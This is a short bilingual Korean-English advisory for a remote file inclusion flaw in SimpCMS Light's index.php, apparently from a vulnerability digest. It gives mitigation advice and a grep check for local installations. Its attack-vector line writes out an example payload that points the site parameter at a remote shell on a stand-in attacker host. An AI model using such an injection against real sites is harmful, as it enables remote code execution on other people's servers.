🇰🇷 한글 설명
SimpCMS Light 04.10.2007 이하 버전의 index.php에 존재하는 PHP 원격 파일 포함(RFI) 취약점입니다. site 매개변수를 통해 원격 공격자가 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹사이트 설정 파일 경로를 입력받는 부분에 다른 경로의 파일을 지정하면, 서버가 그 파일을 실행하게 되는 문제입니다. 해커가 자신의 서버에 있는 악성 코드를 실행하도록 만들 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in index.php in SimpCMS Light 04.10.2007 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the site parameter.
📍 영향받는 시스템
SimpCMS Light 04.10.2007 및 그 이하 버전
⚔️ 공격 벡터
index.php?site=http://attacker.com/shell.php와 같이 site 매개변수에 원격 파일 URL을 삽입하여 임의 코드 실행
🛡️ 대응 방법
SimpCMS를 최신 버전으로 업그레이드하거나 입력값 검증 및 allow_url_include 비활성화로 완화
🔧 검증 코드
SimpCMS 설치 위치의 index.php에서 site 매개변수를 include/require하는 패턴이 있으면 취약함
find /var/www -name "index.php" 2>/dev/null | xargs grep -l "site.*include\|site.*require" 2>/dev/null